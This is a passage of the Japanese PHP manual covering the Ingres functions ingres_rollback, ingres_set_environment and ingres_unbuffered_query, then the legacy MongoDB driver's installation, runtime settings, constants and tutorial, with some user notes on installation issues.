成功した場合に true を、失敗した場合に false を返します。

例

例1 3 行目へのカーソルの移動

<?php

$result=ingres_query($link, "select * from airport where ap_ccode = 'ES' order by ap_place asc");

/* 3 行目に移動します */
if (!ingres_result_seek($result, 3))
{
    echo ingres_errno() . " - " . ingres_error . "\n";
    die("i died");
}
else
{
    $airport = ingres_fetch_object ($result);
    {
        echo $airport->ap_iatacode . " - " .  $airport->ap_name . "\n";
    }
}

ingres_commit($link);

?>

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する

User Contributed Notes

There are no user contributed notes for this page.


トランザクションをロールバックする

  • ≪ ingres_result_seek
  • ingres_set_environment ≫
  • PHP Manual
  • Ingres 関数
  • トランザクションをロールバックする

ingres_rollback

(PHP 4 >= 4.0.2, PHP 5 < 5.1.0, PECL ingres >= 1.0.0)

ingres_rollback — トランザクションをロールバックする

説明

ingres_rollback ( resource $link ) : bool

ingres_rollback() は現在オープンされているトランザクションをロールバックし、 トランザクションの間にデータベースに行われた全ての変更をキャンセルします。

この関数は、トランザクションをクローズします。 ingres_query() によりクエリを送信することによって、 新規のトランザクションをオープンすることが可能です。

パラメータ

link

接続リンク ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_commit() - トランザクションをコミットする
  • ingres_autocommit() - autocommit をオンまたはオフに切替える

User Contributed Notes

There are no user contributed notes for this page.


環境を設定して出力オプションを制御する

  • ≪ ingres_rollback
  • ingres_unbuffered_query ≫
  • PHP Manual
  • Ingres 関数
  • 環境を設定して出力オプションを制御する

ingres_set_environment

(PECL ingres >= 1.2.0)

ingres_set_environment — 環境を設定して出力オプションを制御する

説明

ingres_set_environment ( resource $link , array $options ) : bool

ingres_set_environment() をコールして、 Ingres からの値の出力に影響する環境設定をします。 タイムゾーンや日付の書式、桁区切り文字や小数点の桁数などが含まれます。

パラメータ

link

接続リンク ID。

options

オプション名とその値のペアの配列。 オプション名と型は次のとおりです。

オプション名 | 型 | 説明 | 例
date_century_boundary | int | 2 桁表記の年が今世紀を表すのか来世紀を表すのかの区切り。 II_DATE_CENTURY_BOUNDARY と同じです。 | 50
timezone | string | セッションのタイムゾーンを設定します。未設定の場合は II_TIMEZONE_NAME で定義したデフォルトを使います。 II_TIMEZONE_NAME が定義されていない場合は NA-PACIFIC (GMT-8 +夏時間) を使います。 | UNITED-KINGDOM
date_format int

Ingres の日付の入出力フォーマットを設定します。 デフォルトは II_DATE_FORMAT で定義した値です。II_DATE_FORMAT が未設定の場合は デフォルトの日付フォーマットは US、つまり mm/dd/yy 形式となります。 date_format には次の値を使えます。

  • INGRES_DATE_DMY
  • INGRES_DATE_FINISH
  • INGRES_DATE_GERMAN
  • INGRES_DATE_ISO
  • INGRES_DATE_ISO4
  • INGRES_DATE_MDY
  • INGRES_DATE_MULTINATIONAL
  • INGRES_DATE_MULTINATIONAL4
  • INGRES_DATE_YMD
  • INGRES_DATE_US

 INGRES_DATE_ISO4
decimal_separator string 数値の桁区切り文字 ","
money_lort int

通貨記号を先頭と末尾のどちらにつけるか。 money_lort には次の値を使えます。

  • INGRES_MONEY_LEADING
  • INGRES_MONEY_TRAILING

 INGRES_MONEY_LEADING
money_sign string MONEY 型で使う通貨記号 ?
money_precision | int | MONEY 型の小数点以下の桁数 | 2
float4_precision | int | FLOAT4 型の小数点以下の桁数 | 10
float8_precision | int | FLOAT8 型の小数点以下の桁数 | 10
blob_segment_length | int | BLOB や CLOB のデータを取得するときの一回あたりの取得バイト数。 明示的に指定しない場合のデフォルトは 4096 バイト。 | 8192

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 date_format を ISO4 に設定する例

<?php
$options = array( "date_format" => INGRES_DATE_ISO4 );

if (ingres_set_environment($link, $options))
{
    $result=ingres_query($link,"select date('now') as date");

    while ( $object = ingres_fetch_object ($result) ) {
        echo $object->date."\n";
    }
}
?>

例2 タイムゾーンを HONG-KONG に設定する例

<?php

$options = array( "timezone" => "HONG-KONG");

if (ingres_set_environment($link, $options))
{
    $result=ingres_query($link,"select date('now') as date");

    while ( $object = ingres_fetch_object ($result) ) {
        echo $object->date."\n";
    }
}
?>

参考

  • ingres_connect() - Ingres データベースへの接続をオープンする
  • ingres_query() - Ingres に SQL クエリを送信する

User Contributed Notes

There are no user contributed notes for this page.


未バッファ SQL クエリを Ingres に送信する

  • ≪ ingres_set_environment
  • Mongo ≫
  • PHP Manual
  • Ingres 関数
  • 未バッファ SQL クエリを Ingres に送信する

ingres_unbuffered_query

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ingres_unbuffered_query — 未バッファ SQL クエリを Ingres に送信する

説明

ingres_unbuffered_query ( resource $link , string $query , array $params = ? , string $types = ? ) : mixed

ingres_unbuffered_query() は、指定したクエリを Ingres サーバーに送信します。

クエリは、現在開いているトランザクションの一部となります。 開いているトランザクションがない場合は ingres_unbuffered_query() が新しいトランザクションを開きます。 トランザクションを閉じるには、ingres_commit() をコールして変更をデータベースにコミットするか ingres_rollback() で変更をキャンセルします。 スクリプトが終了すると、開いているトランザクションはすべて (ingres_rollback() をコールして) ロールバックされます。 新しいトランザクションを開く前に ingres_autocommit() をコールすると、 SQL を実行するたびにその場で自動的にコミットするようになります。 Ingres は、未バッファの文を一度にひとつしかアクティブにできません。 この拡張モジュールは、アクティブな未バッファの文をすべて閉じてから SQL を実行します。さらに、フェッチを始める前に ingres_result_seek() で行の位置を移動することはできません。

注意: 関連する設定項目

実行時設定での ingres.describe および ingres.utf8 の説明も参照ください。

パラメータ

link

接続リンク ID。

query

Ingres のドキュメント (Ingres SQL reference guide を参照ください) に書かれた正しい形式の SQL クエリ。 ingres_unbuffered_query() を使って実行できない SQL 文の一覧は、ingres_query() の query パラメータを参照ください。

クエリ内のデータは、適切にエスケープ しておかなければなりません。

params

このクエリで使うパラメータの値の配列。

types

パラメータに渡した値の型を表す文字列。型コードの一覧は ingres_query() の types パラメータを参照ください。

返り値

ingres_unbuffered_query() は、行を取得した場合にクエリ結果 ID を返します。行がない場合、たとえば INSERT や UPDATE あるいは DELETE 文を実行した場合は false を返します。 エラーが発生したかどうかを知るには ingres_errno()、 ingres_error() あるいは ingres_errsqlstate() を使用します。

例

例1 シンプルな未バッファ select 文の発行

<?php
$link = ingres_connect("demodb");

$result = ingres_unbuffered_query($link, "select * from user_profile");
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

例2 ingres_unbuffered_query() へのクエリパラメータのパース

<?php
$link = ingres_connect("demodb");

$params[] = "Emma";
$query = "select * from user_profile where up_first = ?";
$result = ingres_unbuffered_query($link, $query, $params);
while ($row = ingres_fetch_row($result)) {
    echo $row[1];
    echo $row[2];
}
?>

例3 BLOB 型のパラメータの挿入

<?php
$link = ingres_connect("demodb");

//Open a photo
$fh = fopen("photo.jpg","r");
$blob_data = stream_get_contents($fh);
fclose($fh);

//Prepare parameters
$params[] = $blob_data;
$params[] = 1201;

//Define parameter types
$param_types = "Bi";

$query = "update user_profile set up_image = ? where up_id = ?";
$result = ingres_unbuffered_query($link, $query , $params, $param_types);

if (ingres_errno())
{
    echo ingres_errno() . "-" . ingres_error() . "\n";
}
?>

参考

  • ingres_query() - Ingres に SQL クエリを送信する
  • ingres_fetch_array() - 1 行分の結果を配列に取得する
  • ingres_fetch_assoc() - 1 行分の結果を連想配列に取得する
  • ingres_fetch_object() - 1 行分の結果をオブジェクトとして取得する
  • ingres_fetch_row() - 1 行分の結果を数値添字配列として取得する
  • ingres_commit() - トランザクションをコミットする
  • ingres_rollback() - トランザクションをロールバックする
  • ingres_autocommit() - autocommit をオンまたはオフに切替える
  • ingres_set_environment() - 環境を設定して出力オプションを制御する
  • ingres_errno() - 直近に発生した ingres エラー番号を取得する
  • ingres_error() - 直近に発生したエラーのエラーメッセージを取得する

User Contributed Notes

There are no user contributed notes for this page.


MongoDB ドライバ (旧版)

  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
  • 定義済み定数
  • マニュアル
    • チュートリアル
    • 優先読み込み
    • Write Concerns
    • SQL から Mongo への対応表
    • 接続
    • Stream Context Options
    • 書き込み
    • 問い合わせ
    • 更新
    • セキュリティ
    • トラブルシューティング
    • ドライバのテストの実行
  • コアクラス群
    • MongoClient — MongoClient クラス
    • MongoDB — MongoDB クラス
    • MongoCollection — MongoCollection クラス
    • MongoCursor — MongoCursor クラス
    • MongoCursorInterface — The MongoCursorInterface interface
    • MongoCommandCursor — The MongoCommandCursor class
  • 型
    • MongoId — The MongoId class
    • MongoCode — MongoCode クラス
    • MongoDate — MongoDate クラス
    • MongoRegex — MongoRegex クラス
    • MongoBinData — MongoBinData クラス
    • MongoInt32 — MongoInt32 クラス
    • MongoInt64 — MongoInt64 クラス
    • MongoDBRef — MongoDBRef クラス
    • MongoMinKey — MongoMinKey クラス
    • MongoMaxKey — MongoMaxKey クラス
    • MongoTimestamp — MongoTimestamp クラス
  • GridFS クラス群
    • MongoGridFS — MongoGridFS クラス
    • MongoGridFSFile — MongoGridFSFile クラス
    • MongoGridFSCursor — MongoGridFSCursor クラス
  • Batch クラス群
    • MongoWriteBatch — The MongoWriteBatch class
    • MongoInsertBatch — The MongoInsertBatch class
    • MongoUpdateBatch — The MongoUpdateBatch class
    • MongoDeleteBatch — The MongoDeleteBatch class
  • その他
    • MongoLog — MongoLog クラス
    • MongoPool — MongoPool クラス
    • Mongo — Mongo クラス [非推奨]
  • Mongo 関数
    • bson_decode — BSON オブジェクトを PHP の配列に復元する
    • bson_encode — PHP の変数を BSON 文字列に変換する
  • 例外
    • MongoException — MongoException クラス
    • MongoResultException — MongoResultException クラス
    • MongoCursorException — MongoCursorException クラス
    • MongoCursorTimeoutException — MongoCursorTimeoutException クラス
    • MongoConnectionException — MongoConnectionException クラス
    • MongoGridFSException — MongoGridFSException クラス
    • MongoDuplicateKeyException — The MongoDuplicateKeyException class
    • MongoProtocolException — The MongoProtocolException class
    • MongoExecutionTimeoutException — The MongoExecutionTimeoutException class
    • MongoWriteConcernException — The MongoWriteConcernException class
  • 変更履歴

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
警告

この拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

警告

この拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。

The MongoDB PHP driver should work on nearly any system: Windows, macOS, Unix, and Linux; little- and big-endian machines; 32- and 64-bit machines; PHP 5.3 through 5.6 (versions prior to 1.6 also support PHP 5.2).

この » PECL 拡張 モジュールは PHP にバンドルされていません。

  • Manual Installation
  • Installing on *NIX
  • Installing on Windows
  • macOS
  • Gentoo
  • Red Hat
  • Third-Party Installation Instructions

Manual Installation

For driver developers and people interested in the latest bugfixes, you can compile the driver from the latest source code on » Github. Go to Github and click the "download" button. Then run:

$ tar zxvf mongo-php-driver-legacy-<commit_id>.tar.gz
$ cd mongo-php-driver-legacy-<commit_id>
$ phpize
$ ./configure
$ make all
$ sudo make install

Make the following changes to php.ini:

  • Make sure the extension_dir variable is pointing to the directory containing mongo.so. The build will display where it is installing the PHP driver with output that looks something like:

    Installing '/usr/lib/php/extensions/no-debug-non-zts-20060613/mongo.so'
    Make sure that it is the same as the PHP extension directory by running:
    $ php -i | grep extension_dir
  extension_dir => /usr/lib/php/extensions/no-debug-non-zts-20060613 =>
                   /usr/lib/php/extensions/no-debug-non-zts-20060613
    If it's not, change the extension_dir in php.ini or move mongo.so.

  • To load the extension on PHP startup, add a line:

    extension=mongo.so

Installing on *NIX

Run:

$ sudo pecl install mongo

Add the following line to your php.ini file:

extension=mongo.so

If pecl runs out of memory while installing, make sure memory_limit in php.ini is set to at least 128MB.

Installing on Windows

Precompiled binaries for each release are available from » PECL for a variety of combinations of versions, thread safety, and VC libraries. Unzip the archive and put php_mongo.dll in your PHP extension directory ("ext" by default).

Add the following line to your php.ini file:

extension=php_mongo.dll

注意: Additional DLL dependencies for Windows Users

この拡張モジュールを動作させるには、 Windows システムの PATH が通った場所に DLL ファイルが存在する必要があります。 FAQ の "Windows で PHP のディレクトリを PATH に追加するにはどうすればいいのですか?" で、その方法を説明しています。 DLL ファイルを PHP のフォルダから Windows のシステムディレクトリにコピーしても動作します (システムディレクトリは、デフォルトで PATH に含まれるからです) が、これは推奨しません。 この拡張モジュールを使用するには、以下のファイルが PATH の通った場所にある必要があります。 libsasl.dll

macOS

In most cases installing from PECL is the easiest way:

$ sudo pecl install mongo

If your system has multiple version of PHP installed (e.g. macOS default, Homebrew, » XAMPP), note that that each version of PHP has its own pecl command and php.ini file.

注意: Xcode dependency for compiling on macOS

Compiling the driver on macOS will require Xcode developer tools, which may be installed with xcode-select --install. If that command is not available, you may first need to install the » Command Line Tools package.

Gentoo

Gentoo has a package for the PHP PECL driver called dev-php/pecl-mongo, which can be installed with:

$ sudo emerge -va dev-php/pecl-mongo

If you use PECL, you may get an error that libtool is the wrong version. Compiling from source you'll need to run aclocal and autoconf.

$ phpize
$ aclocal
$ autoconf
$ ./configure
$ make
$ sudo make install

Red Hat

This includes Fedora and CentOS.

The default Apache settings on these systems do not let requests make network connections, meaning that the driver will get "Permission denied" errors when it tries to connect to the database. If you run into this, try running:

$ /usr/sbin/setsebool -P httpd_can_network_connect 1
Then restart Apache. (This issue has also occurred with SELinux.)

Third-Party Installation Instructions

A number of people have created excellent tutorials on installing the PHP driver.

  • » (Re)installing PHP on macOS

    This article by Justin Hileman details the process of installing PHP and additional extensions with Homebrew on macOS. This complements the earlier instructions on this page for installing the driver with Homebrew.

  • » PHP 5.3.1 with Xdebug, MongoDB and Lithium on Ubuntu 9.10 / Apache 2.2

    This screencast by Jon Adams demonstrates how to quickly get up and running with PHP 5.3.1, Xdebug, and MongoDB on Ubuntu 9.10 with Apache.

User Contributed Notes

brick 08-Jan-2015 07:58
Apache 2.4.10 win32 from apachelounge with php 5.6.4 VC11 x86 Thread Safe on windows7 sp1.
The 5.6 Thread Safe (TS) x86 mongo.dll i downloaded from http://pecl.php.net/package/mongo/1.5.8/windows
I kept getting the following error
PHP Startup: Unable to load dynamic library mongo.dll
The specified module could not be found.
I fixed this by adding the php and the php/ext to the windows path and rebooting(log off didn't cut it).
bradley dot henke at colorado dot edu 23-Apr-2013 06:36
Instructions for Manually Installing MongoDB for PHP for use with "XAMPP for Linux":

There were two gotchas that I ran into. "XAMPP for Linux" needs 32 bit libraries, and the php API version must match the php API version of "XAMPP for Linux".
Hopefully this will save someone else time figuring this all out!

1) Install "XAMPP for Linux" AND the "XAMPP for Linux Development Files".

2) Grab the source code from github (in the manual instructions above)
$ tar zxvf mongodb-mongodb-php-driver-<commit_id>.tar.gz
$ cd mongodb-mongodb-php-driver-<commit_id>

There are now some smalls deviation from the manual instructions...
3) PHPize
$ sudo /opt/lampp/bin/phpize

4) Configure
$ ./configure

5) Make changes to the Makefile (XAMPP requires a 32-bit compilation)
- Choose your favorite text editor and open "Makefile"
- Make the following changes:
Line 20: prefix = /opt/lampp
Line 23: prefix = /opt/lampp
Line 25: phpincludedir = /opt/lampp/include/php
Line 27: CFLAGS = -g -O2 -m32
Line 34: EXTENSION_DIR = /opt/lampp/lib/php/extensions/no-debug-non-zts-20100525/
Line 35: PHP_EXECUTABLE = /opt/lampp/bin/php

Make sure you replace </path/to/mongo-php-driver-master>
Line 38: INCLUDES = -I/opt/lampp/include/php -I/opt/lampp/include/php/main -I/opt/lampp/include/php/TSRM -I/opt/lampp/include/php/Zend -I/opt/lampp/include/php/ext -I/opt/lampp/include/php/ext/date/lib -I</path/to/mongo-php-driver-master>/util -I</path/to/mongo-php-driver-master>/exceptions -I</path/to/mongo-php-driver-master>/gridfs -I</path/to/mongo-php-driver-master>/types -I</path/to/mongo-php-driver-master>/mcon

6) Compile
$ sudo make all

7) Copy the static object into the extension directory
$ sudo cp modules/mongo.so /opt/lampp/lib/php/extensions/no-debug-non-zts-20100525/

9) Update your php.ini file
- Grab you favorite text editor and open /opt/lampp/etc/php.ini (you'll probably need to use sudo).
- Add the line: extension=mongo.so

10) Restart "XAMPP for Linux". You should now be able to see Mongo listed in your phpinfo() page! Installation Complete!!!

Good Luck!
Hanakaze 12-Jan-2013 06:18
To install the Mongo driver on Windows 7 x64 with EasyPHP, you have to use the x86 driver (instead of x64) and non nts :
php_mongo-1.3.2RC1-5.4-vc9.dll actually
Andrey 01-Jun-2011 04:54
On windows installation check for VC compilator version inside phpinfo(), if you install incorrect one it wouldn't work.
I tried to run on Apache2 with VC6, and always get folowing error:

Fatal error: Class 'Mongo' not found

Until I look into phpinfo and found MSVC9, after that
I install VC9 dll files and it solve the problem.
poorpuer at gmail dot com 26-Oct-2010 08:26
If you're running IIS under Windows 7 and have PHP manager installed you'll also need to manually enable the extension. Start IIS Manager, select PHP Manager, under the section labeled PHP Extensions click on Enable or disable an extension, then enable the php_mongo.dll extension, and restart IIS.
cap at unagon dot com 26-Feb-2010 01:52
For Debian users: apt-get install php5-dev will install phpize for you.


実行時設定

php.ini の設定により動作が変化します。

Mongo 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
mongo.allow_empty_keys | 0 | PHP_INI_ALL |
mongo.allow_persistent | 1 | PHP_INI_ALL | 1.2.0 で削除
mongo.chunk_size | 262144 | PHP_INI_ALL |
mongo.cmd | "$" | PHP_INI_ALL |
mongo.default_host | "localhost" | PHP_INI_ALL |
mongo.default_port | 27017 | PHP_INI_ALL |
mongo.is_master_interval | 15 | PHP_INI_ALL | 1.2.10 で追加。1.3.0 までのデフォルト値は 60
mongo.long_as_object | 0 | PHP_INI_ALL |
mongo.native_long | 1 | PHP_INI_ALL | 1.5.0 までのデフォルト値は 0
mongo.ping_interval | 5 | PHP_INI_ALL | 1.2.10 で追加
mongo.utf8 | 1 | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

mongo.allow_empty_keys int

バージョン 1.0.11 で追加されました。

空文字列 ("") をキーの名前として許可するか否か。 デフォルトでは、データベースに空文字列のキーを渡そうとすると ドライバが例外を発生させます。 ダブルクォートの中で $ 演算子を使う場合などに、 不注意で空文字列を渡してしまうことは非常にありがちです。 この設定はデフォルトのままにしておくことを推奨します。 しかし、空文字列のキーを保存する必要がある場合はこのオプションを true にします。そうすると、ドライバが空文字列をそのままデータベースに送るようになります。

mongo.allow_persistent int

持続的接続を許可するかどうか (1.2.0 で削除されました。すべての接続が持続的接続になります)。

mongo.chunk_size int

チャンクあたりのバイト数。GridFS ファイルを分配する際に使用します。 この数値は、少なくとも 100 以上で 4 メガバイト未満 (最大値: 4194204)、そして小さめにすることを推奨します。

mongo.cmd string

修飾子や比較において $ のかわりに使う文字。

"$" のエスケープはついつい忘れてしまいがちなので、独自の文字を '$' のかわりに使うことができます。キーの名前に現れない文字、たとえば ":" などを選びましょう。

mongo.cmd = ":"

その後、比較を行うにはこのようにします。

<?php

$query = array( "i" => array( ":gt" => 20, ":lte" => 30 ) );

?>

コード内で ini_set("mongo.cmd", ":") で変更することもできます。 もちろん、シングルクォートやバックスラッシュで $ をエスケープすることもできます。

mongo.default_host string

コンストラクタに何も渡さなかったときに使う、デフォルトのホスト名。

mongo.default_port string

データベースサーバーへの接続に使用する TCP ポート番号。 ポート番号が指定されなかった場合にこれを使用します。 データベースのデフォルトは 27017 です。

mongo.is_master_interval int

バージョン 1.2.10 で追加されました。

レプリカセット接続用: ドライバが "isMaster" リクエストを MongoDB サーバーに送信する最小間隔。 この値を小さくすると、リクエストの送信回数は多くなりますが、 レプリカセットのトポロジーが変わったときにドライバがすぐに検出できるようになります。

mongo.long_as_object int

BSON_LONG を、プリミティブ型ではなく MongoInt64 のインスタンスで返します。

mongo.native-long int

この項目のデフォルトは 1.5.0 からは true に変わりました。 設定したい値 (おそらく true でしょう) をきちんと設定しておくようにしましょう。 そうすれば、ドライバをアップグレードしたときにいきなり挙動が変わることがなくなります。

64 ビットプラットフォームでは、mongo.native_long を設定すれば 64 ビット整数値を MongoDB に格納できるようになります。 設定しなければ、保存できるのは 32 ビット整数値だけです。 この項目を設定したときに使われる MongoDB のデータ型は BSON LONG です。 この設定を off にしたときに使われるデータ型は BSON INT となります。

この設定は、MongoDB から BSON LONG を読み込んだときの振る舞いにも影響します。 mongo.native_long を有効にしなければ、 ドライバは BSON LONG をすべて PHP の double 型に変換するので、精度が失われる可能性があります。

32 ビットプラットフォームでは、mongo.native_long の設定は整数値を MongoDB に格納する際には何の影響も及ぼしません。 整数値はこれまで通り BSON INT で格納されます。しかし、この設定を有効にして BSON LONG を MongoDB から読み込むと MongoCursorException がスローされ、 もとの精度のままではデータが読み込めないということを警告します。

32 ビットシステム上では特に、この項目とあわせて mongo.long_as_object を有効にしておくことを推奨します。

mongo.ping_interval int

バージョン 1.2.10 で追加されました。

レプリカセット接続用: ドライバが "ping" リクエストを MongoDB サーバーに送信する最小間隔。 この値を小さくすると、ping の送信回数は多くなりますが、 レプリカセット内のノードに接続できなくなったときにドライバがすぐに検出できるようになります。

mongo.utf8 int

非 UTF8 文字列に対して例外をスローするかどうか。 バージョン 1.0.4 になるまでは、PHP ドライバは非 UTF8 文字列を無視していました。 たとえそれが追加するつもりのなかったものであったとしてもです。 1.0.4 以降は、ドライバが MongoException をスローするようになりました。 非 UTF8 文字列を追加するアプリケーションの移行時の手間を軽減するため、 このオプションをオフにすれば以前のように例外をスローしない設定にすることができます。 このオプションはバージョン 1.1.0 以降で廃止され、非 UTF8 文字列に対しては常に例外をスローするようになります。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

MONGO_STREAMS (int)
Alias of MONGO_SUPPORTS_STREAMS
MONGO_SUPPORTS_STREAMS (int)
1 when compiled against PHP Streams (default since 1.4.0).
MONGO_SUPPORTS_SSL (int)
1 when OpenSSL is enabled and available.
MONGO_SUPPORTS_AUTH_MECHANISM_MONGODB_CR (int)
1 when MongoDB-Challenge/Reponse authentication is compiled in.
MONGO_SUPPORTS_AUTH_MECHANISM_MONGODB_X509 (int)
1 when x.509 authentication is compiled in.
MONGO_SUPPORTS_AUTH_MECHANISM_GSSAPI (int)
1 when GSSAPI authentication is compiled in.
MONGO_SUPPORTS_AUTH_MECHANISM_PLAIN (int)
1 when PLAIN authentication is compiled in.
MONGO_STREAM_NOTIFY_TYPE_IO_INIT (int)
MONGO_STREAM_NOTIFY_TYPE_LOG (int)
MONGO_STREAM_NOTIFY_IO_READ (int)
MONGO_STREAM_NOTIFY_IO_WRITE (int)
MONGO_STREAM_NOTIFY_IO_PROGRESS (int)
MONGO_STREAM_NOTIFY_IO_COMPLETED (int)
MONGO_STREAM_NOTIFY_LOG_INSERT (int)
MONGO_STREAM_NOTIFY_LOG_QUERY (int)
MONGO_STREAM_NOTIFY_LOG_UPDATE (int)
MONGO_STREAM_NOTIFY_LOG_DELETE (int)
MONGO_STREAM_NOTIFY_LOG_GETMORE (int)
MONGO_STREAM_NOTIFY_LOG_KILLCURSOR (int)
MONGO_STREAM_NOTIFY_LOG_BATCHINSERT (int)
MONGO_STREAM_NOTIFY_LOG_RESPONSE_HEADER (int)
MONGO_STREAM_NOTIFY_LOG_WRITE_REPLY (int)
MONGO_STREAM_NOTIFY_LOG_CMD_INSERT (int)
MONGO_STREAM_NOTIFY_LOG_CMD_UPDATE (int)
MONGO_STREAM_NOTIFY_LOG_CMD_DELETE (int)
MONGO_STREAM_NOTIFY_LOG_WRITE_BATCH (int)

User Contributed Notes

There are no user contributed notes for this page.


マニュアル

目次

  • チュートリアル
  • 優先読み込み
  • Write Concerns
  • SQL から Mongo への対応表
  • 接続
  • Stream Context Options
  • 書き込み
  • 問い合わせ
  • 更新
  • セキュリティ
  • トラブルシューティング
  • ドライバのテストの実行
警告

この拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。

このマニュアルでは MongoDB の使い方の詳細を説明します。 しかし、その大半は PHP ドライバの使い方の説明です。 スキーマの設計方法や用語の意味、データベースサーバーの設定方法などについては » MongoDB のドキュメントを参照ください。

User Contributed Notes

There are no user contributed notes for this page.


チュートリアル

目次

  • 接続の作成
  • データベースの取得
  • コレクションの取得
  • ドキュメントの追加
  • MongoCollection::findOne によるドキュメントの検索
  • 複数のドキュメントの追加
  • コレクション内のドキュメント数
  • カーソルを使った全ドキュメントの取得
  • 問い合わせの条件の設定
  • クエリによる複数ドキュメントの取得
  • インデックスの作成
警告

この拡張モジュールは非推奨です。 かわりに MongoDB 拡張モジュールを使うべきです。

これは、公式の MongoDB 用 PHP ドライバです。

簡単なコード例をもとに、MongoDB への接続やドキュメントの追加、 ドキュメントの問い合わせ、問い合わせ結果の反復処理、 そして接続の切断の方法を示します。 各ステップの詳細については後に続くチュートリアルを参照ください。

<?php

// 接続
$m = new MongoClient();

// データベースの選択
$db = $m->comedy;

// コレクション (リレーショナルデータベースのテーブルみたいなもの) の選択
$collection = $db->cartoons;

// レコードの追加
$document = array( "title" => "Calvin and Hobbes", "author" => "Bill Watterson" );
$collection->insert($document);

// 構造が異なる別のレコードの追加
$document = array( "title" => "XKCD", "online" => true );
$collection->insert($document);

// コレクション内の全件の検索
$cursor = $collection->find();

// 結果の反復処理
foreach ($cursor as $document) {
    echo $document["title"] . "\n";
}

?>

上の例の出力は以下となります。

Calvin and Hobbes
XKCD

User Contributed Notes

pgl at yoyo dot org 17-Sep-2013 01:44
To use a collection with periods in its name, quote it with braces:

<?php
$m = new MongoClient();

$cursor = $m->test->{'test.test'}->find();

## equivalent to the following:
#$db = $m->test;
#$collection = $db->{'test.test'};
#$cursor = $collection->find();

foreach ($cursor as $doc) {
    print_r($doc);
?>
Josh Heidenreich 08-Dec-2010 10:28
If you are getting "writing more" shown at random places on the screen, it's a MongoDB connector bug in 1.0.5.

Bug report: http://jira.mongodb.org/browse/PHP-91

Update to the latest connector driver and it should go away.
php at whoah dot net 24-Apr-2010 10:57
Make sure array keys consecutive before inserting. As of 1.0.6 driver, the following will end up as an object of key:value pairs, instead of an array, because it's trying to maintain the 0 and 2 keys:

$array = array('a', 'b', 'c');
unset($array[1]);

$document = array(
'embedded' => $array,
);

// assuming local
$mongo = new Mongo();
$mongo->test->test->insert($document);

mongodb result:
{ "_id" : ObjectId(...), "embedded" : { "0" : "a", "2" : "c" } }

This is bad if you plan on indexing the embedded property as an array because objects and arrays are indexed differently.

Whether the behaviour will change or not, this is logged here: http://jira.mongodb.org/browse/PHP-104

If you know about it, it's not major, just use a sort() before inserting, or use array_* methods to remove elements instead of unset() -- anything that will re-adjust keys.


接続の作成

データベースサーバーに接続するには、次のいずれかの方法を使います。

<?php
$connection = new MongoClient(); // localhost:27017 に接続します
$connection = new MongoClient( "mongodb://example.com" ); // リモートホスト (デフォルトのポート: 27017) に接続します
$connection = new MongoClient( "mongodb://example.com:65432" ); // リモートホストの指定したポートに接続します
?>

明示的にデータベースとの接続を切断する必要はありません。 ドライバは持続的接続を利用し、確立済みの接続を再利用します。

参考

接続のページで、 さまざまな形式の接続を扱っています。

MongoClient クラスや MongoClient::__construct() の API ドキュメントには、 利用可能なすべてのオプションや多くのサンプルがあります。

User Contributed Notes

There are no user contributed notes for this page.


データベースの取得

データベースを選択するには次のようにします。

<?php
$connection = new MongoClient();
$db = $connection->dbname;
?>

データベースを事前に作っておく必要はありません。 存在しないデータベースを選択すれば、新しいデータベースを作ることができます。

Typo には注意しましょう! 意図せずに新しいデータベースを作ってしまい、 エラーで悩まされる原因になります (この例では、二番目の選択のところで name を anme と書き間違えています)。

<?php
$connection = new MongoClient();

$db = $connection->mybiglongdbname;
// 何かをします

$db = $connection->mybiglongdbanme;
// これは別のデータベースに接続してしまいます!
?>

参考

MongoDB クラスの API ドキュメントに、 データベースオブジェクトに関する詳細な情報があります。

User Contributed Notes

There are no user contributed notes for this page.


コレクションの取得

コレクションの取得は、データベースの取得と同じ構文で行えます。

<?php
$connection = new MongoClient();
$db = $connection->baz;

// コレクションの選択
$collection = $db->foobar;

// あるいは、データベースとコレクションを直接選択
$collection = $connection->baz->foobar;
?>

リレーショナルデータベースになじみのある人にとっては、 コレクションとはテーブルに似たものだと考えればわかりやすいでしょう。

参考

MongoCollection クラスの API ドキュメントに、 コレクションオブジェクトに関する詳細な情報があります。

User Contributed Notes

jerome at chaman dot ca 16-Mar-2015 09:26
If your collection uses dot notation, get it with MongoDB::selectCollection :

$colors = $db->selectCollection('my.colors');


ドキュメントの追加

連想配列は、データベース内のコレクションに保存できる基本的なオブジェクトです。 何らかの "ドキュメント" はこのような形式になります。

<?php
$doc = array(
    "name" => "MongoDB",
    "type" => "database",
    "count" => 1,
    "info" => (object)array( "x" => 203, "y" => 102),
    "versions" => array("0.9.7", "0.9.8", "0.9.9")
);
?>

配列やオブジェクトをネストできることに注目しましょう。 ドライバは、連想配列を常にオブジェクトとしてデータベースに格納します。 数値添字の配列は、もし配列のキーは 0 から始まる連番の場合は配列として格納します。 0 から始まらない場合や途中に添字の抜けがある場合 (0, 1, 4, 5 など) は、オブジェクトとして格納します。

ドキュメントを追加するには MongoCollection::insert() を使います。

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$collection->insert( $doc );
?>

参考

MongoCollection::insert() の API ドキュメントに、 データの追加に関する詳細な情報があります。

User Contributed Notes

